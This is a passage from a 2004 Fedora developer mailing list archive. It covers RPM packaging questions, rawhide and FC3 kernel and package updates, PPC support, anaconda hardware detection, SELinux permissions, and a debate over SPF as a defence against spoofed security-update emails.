administrators who are used to xedit, but you really don't want it if you're not one of them. I'm not sure about Regina, is anyone really interested in Rexx anymore ? It is a requirement for THE and quite common on mainframes, but thats it. In the Linux world Perl and Python are way more common, there's no need to learn another interpreter language. Karsten -- Karsten Hopp GPG 1024D/70ABD02C Fingerprint D2D4 3B6B 2DE4 464C A432 210A DFF8 A140 70AB D02C Red Hat Deutschland, Hauptstaetter Str.58 70178 Stuttgart, Tel.+49-711-96437-0, Fax +49-711-96437-111 From giallu at gmail.com Tue Oct 26 10:22:20 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Tue, 26 Oct 2004 12:22:20 +0200 Subject: Packaging question time Message-ID: Hi all, I am trying to package my first rpm. After the appearance of Inventor in fedora.us my "natural" choice is OpenMOIV (http://www.tecn.upf.es/openMOIV/) since it is a 3D molecular visualization library used by several products of my company and it is based on Inventor. Of course, I read most documents about packaging at fedora.us and rpm.org, and studied some other spec files, but I still have some questions. In particular my biggest doubt is about BuildRequires: for compilation, the upstream authors provides either a cmake file (but AFAIK we do not have a cmake package) or a qmake .pro file, so I guess I have three options. 1. lobbying for inclusion of cmake 2. use qmake then make in the %build section 3. Include a pre-generated Makefile now 1 does not seems to be a short term solution (besides, did anyone ever propose cmake as a new package??) 2 seems to me the most obvious option but this raises another question: what should I put in BuildRequires?? qmake, qt-devel or what? 3 would make sense but I guess it will be detrimental to the package configurability (my chosen options will be hardcoded in the Makefile). Moreover, how would I deal with the additional file in the .spec?? Of course I guess I will have more questions in the future, but maybe this is enough for now... Thanks in advance Gianluca From bob.deblier at telenet.be Tue Oct 26 10:50:53 2004 From: bob.deblier at telenet.be (Bob Deblier) Date: Tue, 26 Oct 2004 12:50:53 +0200 Subject: QA at Fedora asleep? Many i386 packages in x86_64 FC2 updates In-Reply-To: <1098710443.21284.1.camel@dcbw.boston.redhat.com> References: <1098511854.3998.13.camel@orion> <1098710443.21284.1.camel@dcbw.boston.redhat.com> Message-ID: <1098787853.3997.10.camel@orion> On Mon, 2004-10-25 at 15:20, Dan Williams wrote: > Bob, > > Part of the reason is that programs like openoffice.org aren't yet 64- > bit. OOo is still 32-bit (doesn't compile yet for 64-bit architectures > because its not 64-bit clean) but we're working on that. But, to have a > 32-bit OOo run on x86_64, we need to drag along a bunch of stuff, like > cups, gtk2, glib, pango, etc. That's why most of the packages are > there, because programs taht don't yet have 64-bit equivalents still > need to link against the 32-bit versions, even if you run them on > x86_64. My apologies for having missed that - blame a couple of days with little sleep. Here's a better attempt at analysis of the problem: When running up2date, the latest openoffice packages (1.1.2-10.fc2) refuse to install due to a version conflict with package redhat-artwork. The conflicting packages are both 0.96-1, which proably means that it's a conflict between the already installed x86_64 rpm, and the i386 version on which the new openoffice packages depend. Thanks for the feedback, Bob Deblier From i_p_a_u_l at yahoo.com Tue Oct 26 11:30:20 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Tue, 26 Oct 2004 14:30:20 +0300 Subject: Lock screen does not work for root in gnome References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098203965.3705.6.camel@mgmk7.mgmux.com> <1098204444.3860.22.camel@support02.civic.twp.ypsilanti.mi.us> <41783D60.1010503@daimi.au.dk> Message-ID: On Fri, 22 Oct 2004 00:51:12 +0200, Kim B. Nielsen wrote: > However, I'm voting in favor off a warning message at log in, and > possibly some doomsday looking desktop. Me too. And all the programs working. If a program like xscreensaver is not working as root, why have them in the root's menu in the first place. But IMO one should be able to lock the root's screen anyway. From i_p_a_u_l at yahoo.com Tue Oct 26 11:35:53 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Tue, 26 Oct 2004 14:35:53 +0300 Subject: latest rawhide kernel 2.6.9-1.640 and suspend to disk Message-ID: Hi, I just upgraded to latest rawhide kernel (the one which should be in FC3) and I noticed that suspend to disk is not compiled in (an echo 4 > /proc/acpi/sleep does nothing). Will we have suspend to disk compiled in the final FC3 kernel ? Suspend to ram is working. From wtogami at redhat.com Tue Oct 26 11:48:59 2004 From: wtogami at redhat.com (Warren Togami) Date: Tue, 26 Oct 2004 01:48:59 -1000 Subject: latest rawhide kernel 2.6.9-1.640 and suspend to disk In-Reply-To: References: Message-ID: <417E39AB.6090706@redhat.com> Paul Ionescu wrote: > Hi, > > I just upgraded to latest rawhide kernel (the one which should be in FC3) > and I noticed that suspend to disk is not compiled in (an echo 4 > > /proc/acpi/sleep does nothing). > Will we have suspend to disk compiled in the final FC3 kernel ? https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=104767 No. It is too risky for now. Maybe we can take more risks for FC4. I hope we do. > > Suspend to ram is working. > Only if you are lucky. Depends on the kernel drivers you are using, and only certain hardware. Warren From buildsys at redhat.com Tue Oct 26 11:52:44 2004 From: buildsys at redhat.com (Build System) Date: Tue, 26 Oct 2004 07:52:44 -0400 Subject: rawhide report: 20041026 changes Message-ID: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> Updated Packages: evolution-2.0.2-3 ----------------- * Fri Oct 22 2004 David Malcolm - 2.0.2-3 - added requirement on gnutls/gnutls-devel * Fri Oct 22 2004 David Malcolm - 2.0.2-2 - Fix for #132050 (no entry for Evolution in the menus): use the new redhat-evolution.desktop file provided by redhat-menus-1.13 * Tue Oct 12 2004 David Malcolm - 2.0.2-1 - Update from 2.0.1 to 2.0.2 - Updated dependency on e-d-s from 1.0.1 to 1.0.2 - Updated dependency on libgal2 from 2.2.2 to 2.2.3 - Updated dependency on gtkhtml3 from 3.3.0 to 3.3.2 - ppc's mozilla dependency is now in line with the other architectures at 1.7.3 kernel-2.6.9-1.643 ------------------ * Fri Oct 22 2004 Dave Jones - Selected bits from 2.6.9-ac3 - Fix syncppp/async ppp problems with new hangup - Fix broken parport_pc unload - Stop i8xx_tco making some boxes reboot on load - Fix cpia/module tools deadlock - Security fix for smbfs leak/overrun * Thu Oct 21 2004 Dave Jones - Misc security fixes from 2.6.9-ac2 * Wed Oct 20 2004 Dave Jones - Fix ia64 module loading. (#136365) - Enable discontigmem for PPC64 - Disable a bunch of useless PPC config options - Enable PACK_STACK on s390. libgal2-2.2.3-3 --------------- * Fri Oct 22 2004 David Malcolm - 2:2.2.3-3 - rebuilt * Thu Oct 21 2004 David Malcolm - rebuilt postgresql-7.4.6-1.FC3.1 ------------------------ * Sat Oct 23 2004 Tom Lane 7.4.6-1 - Update to PostgreSQL 7.4.6 (bugs 136947, 136949) - Make init script more paranoid about mkdir step of initializing a new database (bugs 136947, 136949) * Wed Oct 20 2004 Tom Lane 7.4.5-4 - Remove contrib/oidjoins stuff from installed fileset; it's of no use to ordinary users and has a security issue (bugs 136300, 136301) - adjust chkconfig priority (bug 128852) rpmdb-fedora-3-0.20041026 ------------------------- system-config-securitylevel-1.4.14-1 ------------------------------------ * Mon Oct 25 2004 Dan Walsh 1.4.14-1 - fix creation of relabel From fedora-devel at camperquake.de Tue Oct 26 12:00:26 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 26 Oct 2004 14:00:26 +0200 Subject: Rawhide on PPC Message-ID: <20041026140026.6f919d45@nausicaa.camperquake.de> Hi. I installed the current fedora devel tree on my iBook2 this weekend, and all in all things are working amazingly well. There are a few nags on my list which will dutifully end up in bugzilla. There is one question I'd like to ask here, though: xorg on ppc seems to come without DRI modules. Why is that? -- For the purpose of copyright in this country, software is regarded as a work of art. -- Acorn application note 058 From pnasrat at redhat.com Tue Oct 26 12:06:02 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Tue, 26 Oct 2004 13:06:02 +0100 Subject: Rawhide on PPC In-Reply-To: <20041026140026.6f919d45@nausicaa.camperquake.de> References: <20041026140026.6f919d45@nausicaa.camperquake.de> Message-ID: <1098792362.4782.34.camel@anu.eridu> On Tue, 2004-10-26 at 14:00 +0200, Ralf Ertzinger wrote: > Hi. > > I installed the current fedora devel tree on my iBook2 this weekend, > and all in all things are working amazingly well. There are a few nags That's good to hear. > on my list which will dutifully end up in bugzilla. They may be there already: http://bugzilla.redhat.com/bugzilla/showdependencytree.cgi?id=121179 See also the mailing list at http://lists.infradead.org/mailman/listinfo/fedora-ppc/ Paul From fedora-devel at camperquake.de Tue Oct 26 12:09:39 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 26 Oct 2004 14:09:39 +0200 Subject: Rawhide on PPC In-Reply-To: <1098792362.4782.34.camel@anu.eridu> References: <20041026140026.6f919d45@nausicaa.camperquake.de> <1098792362.4782.34.camel@anu.eridu> Message-ID: <20041026140939.2e0afcac@nausicaa.camperquake.de> Hi. Paul Nasrat wrote: > They may be there already: > > http://bugzilla.redhat.com/bugzilla/showdependencytree.cgi?id=121179 Ooooh, shiny. -- Wir sind die Bo-horg und haben keinen Plan wenn wir dich assimilieren solln, dann stell dich hinten an Widerstand ist zwecklos, bei uns haut das nicht hin wir warpen durch das Weltall und fragen nach dem Sinn From ben.steeves at gmail.com Tue Oct 26 12:16:51 2004 From: ben.steeves at gmail.com (Ben Steeves) Date: Tue, 26 Oct 2004 09:16:51 -0300 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098729989.28467.6.camel@kyrre> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> <6314dfde04102511115151a5c0@mail.gmail.com> <1098729989.28467.6.camel@kyrre> Message-ID: <7ebb24d1041026051643b3be2e@mail.gmail.com> On Mon, 25 Oct 2004 20:46:29 +0200, Kyrre Ness Sjobak wrote: > These frauds are damn impossible to protect against... Nonsense. Just don't give clueless users the ability to a) become super user, b) compile things, c) install things. And if your clueless user *is* your super user... well, then you have problems. :-) -- Ben Steeves _ bcs at metacon.ca The ASCII ribbon campaign ( ) ben.steeves at gmail.com against HTML e-mail X GPG ID: 0xB3EBF1D9 http://www.metacon.ca/bcs / \ Yahoo Messenger: ben_steeves From fedora at wir-sind-cool.org Tue Oct 26 12:25:58 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 26 Oct 2004 14:25:58 +0200 Subject: Packaging question time In-Reply-To: References: Message-ID: <20041026142558.5c355ca2.fedora@wir-sind-cool.org> On Tue, 26 Oct 2004 12:22:20 +0200, Gianluca Sforna wrote: > I have three options. > > 1. lobbying for inclusion of cmake > 2. use qmake then make in the %build section > 3. Include a pre-generated Makefile > > now 1 does not seems to be a short term solution (besides, did anyone > ever propose cmake as a new package??) > 2 seems to me the most obvious option but this raises another > question: what should I put in BuildRequires?? qmake, qt-devel or > what? qt-devel (or /usr/bin/qmake, which would only break if qmake were moved to a different bin directory). > 3 would make sense but I guess it will be detrimental to the package > configurability (my chosen options will be hardcoded in the Makefile). > Moreover, how would I deal with the additional file in the .spec?? You would either insert your prebuilt Makefile as a %patch or include it as a %{SOURCEx} file. The ugly thing about a prebuilt Makefile most likely will be that it contains hardcoded paths (to programs, libraries and headers), which would increase the maintenance requirements. -- Fedora Core release 2.92 (FC3 Test 3) - Linux 2.6.9-1.640 loadavg: 0.08 0.04 0.09 From dr at cluenet.de Tue Oct 26 12:40:38 2004 From: dr at cluenet.de (Daniel Roesen) Date: Tue, 26 Oct 2004 14:40:38 +0200 Subject: rawhide report: 20041026 changes In-Reply-To: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> Message-ID: <20041026124038.GA26276@srv01.cluenet.de> On Tue, Oct 26, 2004 at 07:52:44AM -0400, Build System wrote: > Updated Packages: Is this post-FC3 stuff or will (parts) appear in FC3 final? Best regards, Daniel -- CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 From dwmw2 at infradead.org Tue Oct 26 12:16:03 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Tue, 26 Oct 2004 13:16:03 +0100 Subject: Rawhide on PPC In-Reply-To: <20041026140939.2e0afcac@nausicaa.camperquake.de> References: <20041026140026.6f919d45@nausicaa.camperquake.de> <1098792362.4782.34.camel@anu.eridu> <20041026140939.2e0afcac@nausicaa.camperquake.de> Message-ID: <1098792962.13633.1646.camel@hades.cambridge.redhat.com> On Tue, 2004-10-26 at 14:09 +0200, Ralf Ertzinger wrote: > > They may be there already: > > > > http://bugzilla.redhat.com/bugzilla/showdependencytree.cgi?id=121179 > > Ooooh, shiny. Also #fedora-ppc on freenode. -- dwmw2 From elanthis at awesomeplay.com Tue Oct 26 13:27:17 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Tue, 26 Oct 2004 09:27:17 -0400 Subject: Fake Emails about Emergency Security Update In-Reply-To: <7ebb24d1041026051643b3be2e@mail.gmail.com> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> <6314dfde04102511115151a5c0@mail.gmail.com> <1098729989.28467.6.camel@kyrre> <7ebb24d1041026051643b3be2e@mail.gmail.com> Message-ID: <1098797237.23707.8.camel@support02.civic.twp.ypsilanti.mi.us> On Tue, 2004-10-26 at 09:16 -0300, Ben Steeves wrote: > On Mon, 25 Oct 2004 20:46:29 +0200, Kyrre Ness Sjobak > wrote: > > These frauds are damn impossible to protect against... > > Nonsense. Just don't give clueless users the ability to a) become > super user, b) compile things, c) install things. > > And if your clueless user *is* your super user... well, then you have > problems. :-) The problem is that, for home users, that is pretty much guaranteed to be the case. > > -- > Ben Steeves _ bcs at metacon.ca > The ASCII ribbon campaign ( ) ben.steeves at gmail.com > against HTML e-mail X GPG ID: 0xB3EBF1D9 > http://www.metacon.ca/bcs / \ Yahoo Messenger: ben_steeves > -- Sean Middleditch AwesomePlay Productions, Inc. From giallu at gmail.com Tue Oct 26 13:44:18 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Tue, 26 Oct 2004 15:44:18 +0200 Subject: Packaging question time In-Reply-To: <20041026142558.5c355ca2.fedora@wir-sind-cool.org> References: <20041026142558.5c355ca2.fedora@wir-sind-cool.org> Message-ID: On Tue, 26 Oct 2004 14:25:58 +0200, Michael Schwendt wrote: > > qt-devel (or /usr/bin/qmake, which would only break if qmake were > moved to a different bin directory). Ok, so I guess I will stick with qt-devel. Anyway it is somewhat disappointing that a library NOT DEPENDING from qt will have qt-devel as BuildRequire. But of course, this is an upstream issue... > > > 3 would make sense but I guess it will be detrimental to the package > > configurability (my chosen options will be hardcoded in the Makefile). > > Moreover, how would I deal with the additional file in the .spec?? > > You would either insert your prebuilt Makefile as a %patch or include > it as a %{SOURCEx} file. The ugly thing about a prebuilt Makefile most > likely will be that it contains hardcoded paths (to programs, > libraries and headers), which would increase the maintenance > requirements. Ok, this is confirming my fears, so for now I will ignore this option. Thanks for your opinion From elanthis at awesomeplay.com Tue Oct 26 13:45:36 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Tue, 26 Oct 2004 09:45:36 -0400 Subject: warning to list In-Reply-To: <1098776924.3872.185.camel@baythorne.infradead.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> <1098776924.3872.185.camel@baythorne.infradead.org> Message-ID: <1098798336.23707.24.camel@support02.civic.twp.ypsilanti.mi.us> [This discussion should come off list. I'm not replying to any more of these. spf-discuss is the correct place to have these discussions.] On Tue, 2004-10-26 at 08:48 +0100, David Woodhouse wrote: > On Mon, 2004-10-25 at 21:07 -0400, Sean Middleditch wrote: > > No. You fix them. Back to the accreditation service point if you want > > to be lazy and avoid a very simple fix on the forwarding service end. > > Right. SPF, if it's to work, requires the whole world to 'upgrade' to > make the initial flawed assumptions of SPF come true. Fortunately, SPF already works. FC4 could ship Evolution with an SPF plugin'patch that just displayed a warning next to any mail that failed the checks. No loss of mail possible, but anything claiming to be from Red Hat would already work. Sure, many (most) domains won't be SPF protected any time soon, but we don't *care* about most of those domains. I don't care if mail from bobsbassproshop.com is spoofed. I do care if mail from Red Hat Security Team is spoofed. Additionally, most email comes from large ISPs and mail services, such as aol.com, hotmail.com, yahoo.com, and so on. Most of those are working with SPF, either already using the current version or working on the new edition. > > This is in the same world which hasn't actually managed to make ESMTP > ubiquitous yet. > > Meng and the others are living in a dream world. You seem to be prejudiced. If you're already convinced that the system is broken, there's probably no rationalized answer that's going to convince you otherwise. Gotta love it when people take technical problems and make them religious. > > Paul Iadonisi writes: > > Especially if they have no forwarding issues, it may be > > an entirely appropriate and beneficial thing for Red Hat to do. > > How do they _know_ they have no forwarding issues -- that they never > send mail to a forwarding address? I'd certainly be surprised if that > were the case. There a countless cases of a non-technical company > getting someone to register a domain and set up a web site somewhere, > and forwarding all mail to that domain to the company's single real AOL > address. Is it appropriate for Red Hat to declare that they don't ever > want to send mail to such people? Or others who use .forward files or > virtual domains to forward mail? Those forwarding hosts should be upgraded. Yes, it requires change. Change is scary. Eeek, change... SPF is the simplest of all the proposed fixes to the e-mail systems lack of authentication. Users don't need to do anything other than run up- to-date software. Anti-spam systems like SpamAssassin, and soon mail clients like Evolution, will automatically do the SPF checking. Users with older clients won't be at a loss - they won't get locked out of the system, they'll just be stuck with what they had before. Sending hosts have to do nothing more than publish a simple SPF record, and then *only* if they want - they won't be locked out of the mail system if they don't. Forwarding hosts are the only ones that have to do anything significant, and even then, it's not all *that* significant. For end-users that are forced to use forwarding hosts that don't support SUBMITTER, SRS, or one of the other fixes, they can just whitelist their forwarding host and be done with it. A good mail client could do this automatically for them, the same as the new mail clients all have nice integrated anti-spam systems. > > -- > dwmw2 > > -- Sean Middleditch AwesomePlay Productions, Inc. From katzj at redhat.com Tue Oct 26 13:48:16 2004 From: katzj at redhat.com (Jeremy Katz) Date: Tue, 26 Oct 2004 09:48:16 -0400 Subject: rawhide report: 20041026 changes In-Reply-To: <20041026124038.GA26276@srv01.cluenet.de> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> Message-ID: <1098798496.10884.1.camel@bree.local.net> On Tue, 2004-10-26 at 14:40 +0200, Daniel Roesen wrote: > On Tue, Oct 26, 2004 at 07:52:44AM -0400, Build System wrote: > > Updated Packages: > > Is this post-FC3 stuff or will (parts) appear in FC3 final? rawhide is still pointed at the FC3 trunk... although that will probably change very soon Jeremy From ich at Frank-Schmitt.net Tue Oct 26 14:14:39 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Tue, 26 Oct 2004 16:14:39 +0200 Subject: rawhide report: 20041026 changes References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> Message-ID: Jeremy Katz writes: > On Tue, 2004-10-26 at 14:40 +0200, Daniel Roesen wrote: >> On Tue, Oct 26, 2004 at 07:52:44AM -0400, Build System wrote: >> > Updated Packages: >> >> Is this post-FC3 stuff or will (parts) appear in FC3 final? > > rawhide is still pointed at the FC3 trunk... although that will probably > change very soon So an update to an Evoltion bugfix release is ok, an update to a KDE bugfix release two(?) weeks earlier is not. Great. -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From carwyn at carwyn.com Tue Oct 26 14:20:04 2004 From: carwyn at carwyn.com (Carwyn Edwards) Date: Tue, 26 Oct 2004 15:20:04 +0100 Subject: rawhide report: 20041026 changes In-Reply-To: <1098798496.10884.1.camel@bree.local.net> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> Message-ID: <417E5D14.8010904@carwyn.com> Jeremy Katz wrote: >rawhide is still pointed at the FC3 trunk... although that will probably >change very soon > > Is that likely to be before or after FC3 final release? The testing tree isn't as extensively mirrored as rawhide so I (and probably others) am tracking rawhide until FC3 final is out. A little note to tell people when rawhide breaks ranks would be very useful :-) I guess another way around this would be to fold the testing tree into download.fedora.redhat.com so it's mirrored along with the rest. Under /pub/fedora/linux/core/test/notquiteasrawahide perhaps? Carwyn From katzj at redhat.com Tue Oct 26 14:27:23 2004 From: katzj at redhat.com (Jeremy Katz) Date: Tue, 26 Oct 2004 10:27:23 -0400 Subject: rawhide report: 20041026 changes In-Reply-To: References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> Message-ID: <1098800843.10884.13.camel@bree.local.net> On Tue, 2004-10-26 at 16:14 +0200, Frank Schmitt wrote: > Jeremy Katz writes: > > On Tue, 2004-10-26 at 14:40 +0200, Daniel Roesen wrote: > >> On Tue, Oct 26, 2004 at 07:52:44AM -0400, Build System wrote: > >> > Updated Packages: > >> > >> Is this post-FC3 stuff or will (parts) appear in FC3 final? > > > > rawhide is still pointed at the FC3 trunk... although that will probably > > change very soon > > So an update to an Evoltion bugfix release is ok, an update to a > KDE bugfix release two(?) weeks earlier is not. Great. The updated evolution package isn't an update to a new version. It's an updated build with a specific, small, targeted fix for a specific bug that had been filed and was on the blocker list for the release. If evolution were updated to version 2.0.3, then you could rant :) Jeremy From jspaleta at gmail.com Tue Oct 26 14:39:20 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Tue, 26 Oct 2004 10:39:20 -0400 Subject: QA at Fedora asleep? Many i386 packages in x86_64 FC2 updates In-Reply-To: <1098787853.3997.10.camel@orion> References: <1098511854.3998.13.camel@orion> <1098710443.21284.1.camel@dcbw.boston.redhat.com> <1098787853.3997.10.camel@orion> Message-ID: <604aa791041026073967d6ad53@mail.gmail.com> On Tue, 26 Oct 2004 12:50:53 +0200, Bob Deblier wrote: > My apologies for having missed that - blame a couple of days with little > sleep. Here's a better attempt at analysis of the problem: > > When running up2date, the latest openoffice packages (1.1.2-10.fc2) > refuse to install due to a version conflict with package redhat-artwork. > > The conflicting packages are both 0.96-1, which proably means that it's > a conflict between the already installed x86_64 rpm, and the i386 > version on which the new openoffice packages depend. > > Thanks for the feedback, Already in bugzilla as a bug agaist redhat-artwork, i don't know the number off the top of my head sorry. But there should be a new redhat-artwork update for fc2 to fix the problem at some point. Quick summary: using 32bit on 64bit requires some extra steps in packaging to avoid conflicts, and redhat-artwork 32bit wasn't originally needed on 64bit until this new openoffice update, which introduced a new dependancy on libbluecurve from redhat-artwork. -jef From kyrre at solution-forge.net Tue Oct 26 14:46:42 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 26 Oct 2004 16:46:42 +0200 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098797237.23707.8.camel@support02.civic.twp.ypsilanti.mi.us> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> <6314dfde04102511115151a5c0@mail.gmail.com> <1098729989.28467.6.camel@kyrre> <7ebb24d1041026051643b3be2e@mail.gmail.com> <1098797237.23707.8.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <1098802002.2868.1.camel@kyrre> tir, 26.10.2004 kl. 15.27 skrev Sean Middleditch: > On Tue, 2004-10-26 at 09:16 -0300, Ben Steeves wrote: > > On Mon, 25 Oct 2004 20:46:29 +0200, Kyrre Ness Sjobak > > wrote: > > > These frauds are damn impossible to protect against... > > > > Nonsense. Just don't give clueless users the ability to a) become > > super user, b) compile things, c) install things. > > > > And if your clueless user *is* your super user... well, then you have > > problems. :-) > > The problem is that, for home users, that is pretty much guaranteed to > be the case. > My point exactly. But today that is likely not a problem - most fedora users a so knowledgeable TODAY. What should be worrying, is worms like MSblaster and the IE JPEG thingy. > > > > -- > > Ben Steeves _ bcs at metacon.ca > > The ASCII ribbon campaign ( ) ben.steeves at gmail.com > > against HTML e-mail X GPG ID: 0xB3EBF1D9 > > http://www.metacon.ca/bcs / \ Yahoo Messenger: ben_steeves > > > -- > Sean Middleditch > AwesomePlay Productions, Inc. From fedora-devel at camperquake.de Tue Oct 26 14:56:44 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 26 Oct 2004 16:56:44 +0200 Subject: What does anaconda know? Message-ID: <20041026165644.A32660@ryoko.camperquake.de> Hi. I was wondering about the knowledge anaconda has about the machine it is currently installing on. Surely it knows the general architecture (i386/ppc/sparc). It also knows the specific subarch (586/686). It knows about RAM and hard disks. Does it known if the machine is a laptop or not? Maybe even a specific model? The reason I am asking is that during the first boot on my iBook I noticed that a number of services was started that were completely useless on this machine, because the hardware these services care for is nonexistant (and, this being a notebook, can not be added, either). The services I remember of the top of my head were pcmcia, apm and a bunch of stuff provided by the iprtools package (some SCSI mumbo jumbo, it seems). Would it be possible to teach anaconda the knowledge to disable services on machines that have no chance of needing them, ever? From jspaleta at gmail.com Tue Oct 26 14:59:09 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Tue, 26 Oct 2004 10:59:09 -0400 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098802002.2868.1.camel@kyrre> References: <1098657317.25222.3.camel@localhost.localdomain> <7ebb24d1041024153630f9cead@mail.gmail.com> <1098724024.28467.0.camel@kyrre> <6314dfde04102511115151a5c0@mail.gmail.com> <1098729989.28467.6.camel@kyrre> <7ebb24d1041026051643b3be2e@mail.gmail.com> <1098797237.23707.8.camel@support02.civic.twp.ypsilanti.mi.us> <1098802002.2868.1.camel@kyrre> Message-ID: <604aa791041026075951532f87@mail.gmail.com> On Tue, 26 Oct 2004 16:46:42 +0200, Kyrre Ness Sjobak wrote: > My point exactly. But today that is likely not a problem - most fedora > users a so knowledgeable TODAY. HA! my random qoute generator from fedora-list would prove otherwise. -jef From walters at redhat.com Tue Oct 26 15:01:48 2004 From: walters at redhat.com (Colin Walters) Date: Tue, 26 Oct 2004 11:01:48 -0400 Subject: QA at Fedora asleep? Many i386 packages in x86_64 FC2 updates In-Reply-To: <604aa791041026073967d6ad53@mail.gmail.com> References: <1098511854.3998.13.camel@orion> <1098710443.21284.1.camel@dcbw.boston.redhat.com> <1098787853.3997.10.camel@orion> <604aa791041026073967d6ad53@mail.gmail.com> Message-ID: <1098802908.8613.1.camel@decepticon.boston.redhat.com> On Tue, 2004-10-26 at 10:39 -0400, Jeff Spaleta wrote: > [...] and redhat-artwork 32bit wasn't > originally needed on 64bit until this new openoffice update, which > introduced a new dependancy on libbluecurve from redhat-artwork. It was needed in order to get correct themeing in openoffice. From pnasrat at redhat.com Tue Oct 26 15:16:59 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Tue, 26 Oct 2004 16:16:59 +0100 Subject: What does anaconda know? In-Reply-To: <20041026165644.A32660@ryoko.camperquake.de> References: <20041026165644.A32660@ryoko.camperquake.de> Message-ID: <1098803819.4782.46.camel@anu.eridu> On Tue, 2004-10-26 at 16:56 +0200, Ralf Ertzinger wrote: > Surely it knows the general architecture (i386/ppc/sparc). It also > knows the specific subarch (586/686). It knows about RAM and hard disks. > > Does it known if the machine is a laptop or not? Maybe even a specific > model? We don't currently distinguish too much, we identify arch and on ppc machine type (CHRP, PReP, etc). Certainly we don't really have seperate classes for laptops/desktops, and certainly not for service/package filtering on varying hardware setups. > The reason I am asking is that during the first boot on my iBook I noticed > that a number of services was started that were completely useless on this > machine, because the hardware these services care for is nonexistant (and, > this being a notebook, can not be added, either). TiBook's have pcmcia so do G3 Lombards IIRC. You can also get USB to pcmcia converters. > Would it be possible to teach anaconda the knowledge to disable services on > machines that have no chance of needing them, ever? The correct place for this request would be in bugzilla as an RFE. Paul From russell at coker.com.au Tue Oct 26 15:17:13 2004 From: russell at coker.com.au (Russell Coker) Date: Wed, 27 Oct 2004 01:17:13 +1000 Subject: fc3t3: selinux: useradd In-Reply-To: <1098701369.2358.245.camel@lesca.home.solinos.it> References: <1098193070.2623.69.camel@lesca.home.solinos.it> <200410231411.33643.russell@coker.com.au> <1098701369.2358.245.camel@lesca.home.solinos.it> Message-ID: <200410270117.13662.russell@coker.com.au> On Mon, 25 Oct 2004 20:49, Dario Lesca wrote: > The error that I get was permission deny on file /etc/passwd, then > permission deny on /etc/group file, and then on the /etc/shadow file. Any AVC messages in the kernel message log? What does "ls -Z /etc/passwd /etc/group /etc/shadow" return? -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From j.w.r.degoede at hhs.nl Tue Oct 26 15:18:56 2004 From: j.w.r.degoede at hhs.nl (Hans de Goede) Date: Tue, 26 Oct 2004 17:18:56 +0200 Subject: rawhide report: 20041026 changes In-Reply-To: <417E5D14.8010904@carwyn.com> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> <417E5D14.8010904@carwyn.com> Message-ID: <417E6AE0.6040503@hhs.nl> Carwyn Edwards wrote: > Jeremy Katz wrote: > >> rawhide is still pointed at the FC3 trunk... although that will probably >> change very soon >> >> > Is that likely to be before or after FC3 final release? > > The testing tree isn't as extensively mirrored as rawhide so I (and > probably others) am tracking rawhide until FC3 final is out. A little > note to tell people when rawhide breaks ranks would be very useful :-) > > I guess another way around this would be to fold the testing tree into > download.fedora.redhat.com so it's mirrored along with the rest. > > Under /pub/fedora/linux/core/test/notquiteasrawahide perhaps? > > Carwyn > > I've been using rawhide to keep my FC3 test 